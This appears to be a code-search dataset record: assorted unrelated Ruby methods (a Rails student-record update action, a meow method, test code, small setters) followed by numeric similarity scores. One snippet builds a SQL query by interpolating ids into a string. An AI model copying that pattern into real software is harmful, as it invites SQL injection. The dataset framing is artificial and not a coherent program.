&& p[:main_image].length > 0\n\t\t\tarr = p[:main_image].split('/')\n\t\t\tif arr.length > 1\n\t\t\t\timage_id = arr[1].to_i\n\t\t\t\tif image_id == 0\n\t\t\t\t\timage_id = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tok = AttendedYear.validate_attended(p[:attended_lls], p[:years_lls], @student)\n\t\tok = AttendedYear.validate_attended(p[:attended_lfa], p[:years_lfa], @student) if ok\n\t\tif ok\n\t\t\thash = { :original_name => p['original_name'], :sort_name => Student.make_sort_name(p['original_name']), :other_name => p['other_name'], :gender => p['gender'] == 'Male' ? 'M' : 'F',\n\t\t\t\t:room_and_board => p['room_and_board'], :home_town => p['home_town']['town'], :home_state => p['home_town']['state'], :home_country => p['home_town']['country'],\n\t\t\t\t:born => VagueDate.factory(p['born']).to_s, :died => VagueDate.factory(p['died']).to_s,\n\t\t\t\t:other_education => p['other_education'], :admitted_to_bar => p['admitted_to_bar'], :training_with_other_lawyers => p['training_with_other_lawyers'],\n\t\t\t\t:federal_committees => p['federal_committees'], :state_committees => p['state_committees'], :biographical_notes => p['biographical_notes'], :quotes => p['quotes'],\n\t\t\t\t:citation_of_attendance => p['citation_of_attendance'], :secondary_sources => p['secondary_sources'], :additional_notes => p['additional_notes'],\n\t\t\t\t:benevolent_and_charitable_organizations => p['benevolent_and_charitable_organizations'], :is_stub => 0, :image_id => image_id,\n\t\t\t\t:private_notes => p['private_notes']\n\t\t\t}\n\t\t\[email protected]_name = p['original_name']\n\t\t\[email protected]_unique_name()\n\t\t\tok = @student.update_attributes(hash)\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif ok\n\t\t\t\tformat.html {\n\t\t\t\t\tStudentProfession.remove_student(@student.id)\n\t\t\t\t\tprofessions = parse_array(p['professions'])\n\t\t\t\t\tprofessions.each {|profession|\n\t\t\t\t\t\tif profession['name'].to_i > 0\n\t\t\t\t\t\t\tStudentProfession.add_connection(@student.id, profession['name'].to_i)\n\t\t\t\t\t\telsif profession['writein'] && profession['writein'].length > 0\n\t\t\t\t\t\t\tStudentProfession.add(@student.id, profession['writein'])\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\tStudentPoliticalParty.remove_student(@student.id)\n\t\t\t\t\tparties = parse_array(p['political_parties'])\n\t\t\t\t\tparties.each {|party|\n\t\t\t\t\t\tif party['name'].to_i > 0\n\t\t\t\t\t\t\tStudentPoliticalParty.add_connection(@student.id, party['name'].to_i)\n\t\t\t\t\t\telsif party['writein'] && party['writein'].length > 0\n\t\t\t\t\t\t\tStudentPoliticalParty.add(@student.id, party['writein'])\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\t# First convert all the govt_post references to names.\n\t\t\t\t\tfed_posts = parse_array(p['Federal'])\n\t\t\t\t\tfed_posts.each {|post|\n\t\t\t\t\t\tif post['name'].to_i > 0\n\t\t\t\t\t\t\tpost['writein'] = GovernmentPost.find(post['name'].to_i).title\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\tstate_posts = parse_array(p['State'])\n\t\t\t\t\tstate_posts.each {|post|\n\t\t\t\t\t\tif post['name'].to_i > 0\n\t\t\t\t\t\t\tpost['writein'] = GovernmentPost.find(post['name'].to_i).title\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\tlocal_posts = parse_array(p['Local'])\n\t\t\t\t\tlocal_posts.each {|post|\n\t\t\t\t\t\tif post['name'].to_i > 0\n\t\t\t\t\t\t\tpost['writein'] = GovernmentPost.find(post['name'].to_i).title\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\t# rewrite all the govt posts\n\t\t\t\t\tGovernmentPost.remove_student(@student.id)\n\t\t\t\t\tfed_posts.each {|post|\n\t\t\t\t\t\tif post['writein'] && post['writein'].length > 0\n\t\t\t\t\t\t\tGovernmentPost.create({ :student_id => @student.id, :which => 'Federal', :title => post['writein'], :modifier => post['modifier'],\n\t\t\t\t\t\t\t\t:location => post['location'], :time_span => post['time_span']})\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\tstate_posts.each {|post|\n\t\t\t\t\t\tif post['writein'] && post['writein'].length > 0\n\t\t\t\t\t\t\tGovernmentPost.create({ :student_id => @student.id, :which => 'State', :title => post['writein'], :modifier => post['modifier'],\n\t\t\t\t\t\t\t\t:location => post['location'], :time_span => post['time_span']})\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\tlocal_posts.each {|post|\n\t\t\t\t\t\tif post['writein'] && post['writein'].length > 0\n\t\t\t\t\t\t\tGovernmentPost.create({ :student_id => @student.id, :which => 'Local', :title => post['writein'], :modifier => post['modifier'],\n\t\t\t\t\t\t\t\t:location => post['location'], :time_span => post['time_span']})\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\tresidences = parse_array(p['residence'])\n\t\t\t\t\tStudentResidence.remove_student(@student.id)\n\t\t\t\t\tresidences.each {|residence|\n\t\t\t\t\t\tif residence['town'].strip().length > 0 || residence['state'].strip().length > 0 || residence['country'].strip().length > 0\n\t\t\t\t\t\t\tStudentResidence.create_residence(@student, residence)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\tOffsiteMaterial.remove_student(@student.id)\n\t\t\t\t\toffsite_materials = parse_array(p['offsite_material'])\n\t\t\t\t\toffsite_materials.each {|offsite_material|\n\t\t\t\t\t\tif offsite_material['name'] && offsite_material['url'] && offsite_material['name'].length > 0 && offsite_material['url'].length > 0\n\t\t\t\t\t\t\tOffsiteMaterial.create({ :student_id => @student.id, :name => offsite_material['name'], :url => offsite_material['url'] })\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\tMarriage.remove_student(@student.id)\n\t\t\t\t\tRelation.remove_student(@student.id)\n\t\t\t\t\tmarriages = parse_array(p['marriage'])\n\t\t\t\t\tmarriages.each {|marriage|\n\t\t\t\t\t\tif marriage['name'] && marriage['name'].length > 0\n\t\t\t\t\t\t\tMarriage.create_marriage(@student, { :name => marriage['name'] }, marriage['date'])\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\trelations = parse_array(p['relationship'])\n\t\t\t\t\trelation_data = { 'Brother' => 'M',\n\t\t\t\t\t\t'Sister' => 'F',\n\t\t\t\t\t\t'Daughter' => 'F',\n\t\t\t\t\t\t'Son' => 'M',\n\t\t\t\t\t\t'Husband' => 'M',\n\t\t\t\t\t\t'Wife' => 'F',\n\t\t\t\t\t\t'Father' => 'M',\n\t\t\t\t\t\t'Mother' => 'F'\n\t\t\t\t\t}\n\t\t\t\t\trelations.each {|relation|\n\t\t\t\t\t\tif relation['type'] != '' && relation['name'].strip().length > 0\n\t\t\t\t\t\t\tRelation.create_relationship(relation['type'], { :name => relation['name'], :gender => relation_data[relation['type']] }, @student)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\tmats = parse_array(p['material'])\n\t\t\t\t\tStudentMaterial.remove_student(@student.id)\n\t\t\t\t\tmats.each {|material|\n\t\t\t\t\t\tif material[:name]\n\t\t\t\t\t\t\tm = Material.find_by_name(material[:name])\n\t\t\t\t\t\t\tmaterial[:idd] = m.id if m\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif material[:idd]\n\t\t\t\t\t\t\tStudentMaterial.create({ :student_id => @student.id, :material_id => material[:idd], :relationship => material[:relationship], :material_comment => material[:material_comment]})\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\n\t\t\t\t\tAttendedYear.remove_student(@student.id)\n\t\t\t\t\tAttendedYear.add(@student.id, 'LLS', p['years_lls']) if p['attended_lls']\n\t\t\t\t\tAttendedYear.add(@student.id, 'LFA', p['years_lfa']) if p['attended_lfa']\n\n\t\t\t\t\t# Now that all the other data has been set, recreate the unique name\n\t\t\t\t\[email protected]_unique_name()\n\t\t\t\t\[email protected]!\n\n\t\t\t\t\t# Now let everyone who is interested know about the changed record.\n\t\t\t\t\tBrowse.student_changed(@student, @student_orig)\n\t\t\t\t\tsolr().remove_object(@student_orig.to_solr())\n\t\t\t\t\tsolr().add_object(@student.to_solr())\n\t\t\t\t\tredirect_to(@student, :notice => 'The student was successfully updated.')\n\t\t\t\t}\n\t\t\telse\n\t\t\t\tformat.html {\n\t\t\t\t\t@page_title = 'Student'\n\t\t\t\t\tedit_setup('')\n\t\t\t\t\trender :action => \"edit\"\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend", "def update_custo_in_teacher_matter(ids)\n #puts \"=============ids=#{ids}\"\n unless ids.nil?\n ids.each do |id|\n unless id.blank?\n objrel=TeacherMatter.where(\"matter_id=#{id} and teacher_id=#{self.id}\").to_a[0]\n objrel.destroy!\n objrel=TeacherMatter.create!({matter_id: id, teacher_id: self.id, custo: SYLR::V_APP_CUSTO}) \n end\n end\n end\n end", "def meow\r\n\t\t# output: prints string of # of meows based on talkative-ness\r\n\t\t\t# IF mild (1 to 3) , meows once\r\n\t\t\tputs \"meowww\" if (1..3).include?(@meowiness)\r\n\t\t\t# IF medium (4 to 6), meows 3 times\r\n\t\t\t3.times { print \"meowww \"} if (4..6).include?(@meowiness)\r\n\t\t\t# IF high (7 to 8), meows 5 times,\r\n\t\t\t5.times { print \"meowwww \" } if (7..8).include?(@meowiness)\r\n\t\t\t# IF really high (9 to 10), meows 5 times, CAPS\r\n\t\t\t5.times { print \"meowwww \".upcase } if (9..10).include?(@meowiness)\r\n\t\tend", "def test_update_name_merge_one_with_observations\n old_name = names(:mergeable_no_notes) # mergeable, ergo no observation\n assert(old_name.observations.none?, \"Test needs a different fixture.\")\n new_name = names(:coprinus_comatus) # has observations\n assert(new_name.observations.any?, \"Test needs a different fixture.\")\n\n params = {\n id: old_name.id,\n name: {\n text_name: new_name.text_name,\n author: new_name.author,\n rank: old_name.rank,\n citation: \"\",\n deprecated: (old_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(new_name.id))\n assert_no_emails\n assert(new_name.reload)\n assert_not(Name.exists?(old_name.id))\n end", "def set_wombat\n @wombat = Wombat.find(params[:id])\n end", "def name\n\t\t\t\t\"twitt\"\n\t\t\tend", "def set_user\n\t\tif study_subject\n\t\t\t#\tbecause it is possible to create the first, then the second\n\t\t\t#\tand then delete the first, and create another, first and\n\t\t\t#\tsecond kinda lose their meaning until the merge, so set them\n\t\t\t#\tboth as the same until the merge\n\t\t\tcase study_subject.abstracts.count\n\t\t\t\twhen 0 \n\t\t\t\t\tself.entry_1_by_uid = current_user.try(:uid)||0\n\t\t\t\t\tself.entry_2_by_uid = current_user.try(:uid)||0\n\t\t\t\twhen 1 \n\t\t\t\t\tself.entry_1_by_uid = current_user.try(:uid)||0\n\t\t\t\t\tself.entry_2_by_uid = current_user.try(:uid)||0\n\t\t\t\twhen 2\n\t\t\t\t\tabs = study_subject.abstracts\n\t\t\t\t\t#\tcompact just in case a nil crept in\n\t\t\t\t\tself.entry_1_by_uid = [abs[0].entry_1_by_uid,abs[0].entry_2_by_uid].compact.first\n\t\t\t\t\tself.entry_2_by_uid = [abs[1].entry_1_by_uid,abs[1].entry_2_by_uid].compact.first\n\t\t\t\t\tself.merged_by_uid = current_user.try(:uid)||0\n\t\t\tend\n\t\tend\n\tend", "def wookie_sentence; end", "def retrieves_random_wine_for_party(the_wine_collection)\n plucked_wine = the_wine_collection.sample\n the_wine_collection.delete(plucked_wine)\n return plucked_wine\nend", "def symptom\n WellBeing::SYMPTOM\n end" ]
[ "0.6163376", "0.60241485", "0.60174096", "0.55981964", "0.54135853", "0.5244939", "0.5080941", "0.50778824", "0.5072127", "0.50627047", "0.50503325", "0.5044354", "0.49970937", "0.49710506", "0.4968792", "0.49450892", "0.49242803", "0.4924096", "0.4889686", "0.48631865", "0.48465872", "0.48314154", "0.48214096", "0.48206204", "0.48185074", "0.48179275", "0.48168635", "0.48127383", "0.4812498", "0.48084787", "0.47983938", "0.4795274", "0.47944853", "0.47793123", "0.47616547", "0.47611463", "0.4728421", "0.47166985", "0.47132468", "0.4712258", "0.47109163", "0.47075394", "0.470058", "0.46986398", "0.4690156", "0.46867785", "0.46835712", "0.46799022", "0.46786582", "0.4674682", "0.4673331", "0.4672653", "0.4666461", "0.4662774", "0.46578592", "0.46556023", "0.46556023", "0.4654011", "0.46376565", "0.46339768", "0.4628748", "0.46254238", "0.46241036", "0.46196416", "0.4615298", "0.4613812", "0.46128795", "0.46097457", "0.46072915", "0.4605744", "0.46042284", "0.4603774", "0.4602121", "0.46012178", "0.45975778", "0.45975626", "0.4589021", "0.45855397", "0.45842126", "0.4582655", "0.4578791", "0.45733568", "0.45716035", "0.45677713", "0.45645133", "0.4557516", "0.45553187", "0.4552693", "0.45491692", "0.45394042", "0.45305648", "0.45302394", "0.4529505", "0.45286497", "0.45274547", "0.45240214", "0.4524", "0.4523864", "0.45223144", "0.45194635" ]
0.5169116
6
if desiredHeight.to_i < upSpeed.to_i return 1 else return (desiredHeight.to_i/(upSpeed.to_i downSpeed.to_i)).ceil end end
def growing_plant(upSpeed, downSpeed, desiredHeight) difference = desiredHeight - upSpeed if difference <= 0 return 1 else return (difference.to_f/(upSpeed - downSpeed)).ceil + 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n end", "def speedFactor\n Integer((@energy + @health) / (MAX_HEALTH + MAX_ENERGY)) * 10\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n \n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n \r\n\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n\n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n end", "def bmi_calc height, weight\n return (weight / height**2).to_i\nend", "def speed_of_spread() # in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n \n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if @population_density >= 200\n @speed = 0.5\n elsif @population_density >= 150\n @speed = 1\n elsif @population_density >= 100\n @speed = 1.5\n elsif @population_density >= 50\n @speed = 2\n else\n @speed = 2.5\n end\n\n \n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n\n if @population_density >= 200\n @speed += 0.5\n elsif @population_density >= 150\n @speed += 1\n elsif @population_density >= 100\n @speed += 1.5\n elsif @population_density >= 50\n @speed += 2\n else\n @speed += 2.5\n end\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n end", "def speed_of_spread() #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @speed = 0.0\n\n case @population_density\n when 200..1000\n @speed += 0.5\n when 150...200\n @speed += 1\n when 100...200\n @speed += 1.5\n when 50...100\n @speed += 2\n else\n @speed += 2.5\n\n end\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n return speed\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n=begin\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n=end\n\n factor = case @population_density\n when 0...50 then speed += 2.5\n when 50...100 then speed += 2\n when 100...150 then speed += 1.5\n when 150...200 then speed += 1\n else speed += 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n @speed = speed\n end", "def relative(x); x.to_f/@game.height; end", "def jump_height\r\r\n (@jump_peak * @jump_peak - (@jump_count * CXJ::FREE_MOVEMENT::JUMP_SPEED - @jump_peak).abs ** 2) / 2\r\r\n end", "def speed_of_spread\n if @population_density >= 200\n speed = 0.5\n else @population_density < 200\n multiplier = (@population_density/50).floor\n speed = 2.5 - (multiplier * 0.5)\n end\n end", "def speed_of_spread # REFACTOR\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case true\n when @population_density >= 200 then speed += 0.5\n when @population_density >= 150 then speed += 1\n when @population_density >= 100 then speed += 1.5\n when @population_density >= 50 then speed += 2\n else speed += 2.5\n end\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n ## Refactored for Release: 8\n if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n # puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n when @population_density >= 200 then speed += 0.5\n when @population_density >= 150 then speed += 1\n when @population_density >= 100 then speed += 1.5\n when @population_density >= 50 then speed += 2\n else speed += 2.5\nend", "def calculate(height, weight)\n bmi = (weight / height) / height.to_f;\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n # if @population_density % 50 == 0 \n # speed += 0.5\n # else\n # speed += 2.5\n # end\n\n end", "def speed_of_spread #(population_density, state) #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n end", "def speed_of_spread\n# speed = 0.0\n\n# if @population_density >= 200\n# speed += 0.5\n# elsif @population_density >= 150\n# speed += 1\n# elsif @population_density >= 100\n# speed += 1.5\n# elsif @population_density >= 50\n# speed += 2\n# else\n# speed += 2.5\n# end\n\n speed = 2.5\n counter = 50\n 4.times do\n if @population_density >= counter then speed -= 0.5 end\n counter += 50\n end\n\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def max_ascent_speed; end", "def speed_of_spread\n more_dense = @population_density >= 200\n dense = @population_density >= 150\n medium_dense = @population_density >= 100\n low_dense = @population_density >= 50#in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n if more_dense\n speed += 0.5\n elsif dense\n speed += 1\n elsif medium_dense\n speed += 1.5\n elsif low_dense\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread \n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def ceil()\n #This is a stub, used for indexing\n end", "def normal_speed(speed,takeoff_speed)\n return speed/takeoff_speed\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 2.5\n\n thresholds = [50,100,150,200]\n\n thresholds.each do |threshold|\n\n if @population_density >= threshold\n speed -= 0.5\n end\n\n end\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread(population_density) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n speed\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n speed_array=[0.5, 1, 1.5, 2, 2.5]\r\n density_array=[200,150,100,50,0]\r\n\r\n speed_array.each_index do |index|\r\n if @population_density >= density_array[index]\r\n speed += speed_array[index]\r\n break\r\n end\r\n end\r\n\r\n=begin\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n=end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n# when @population_density += 50 then\n# speed -= 0.5\n#this is what I feel would work in some way, I just can't figure out the syntax\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 50 && @population_density < 200\n speed = 2.5 - (0.5)*(@population_density.to_i / 50.to_i).to_f\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(speed) #(population_density, state) #in months\r\n # We are still perfecting our formula here. The speed is also 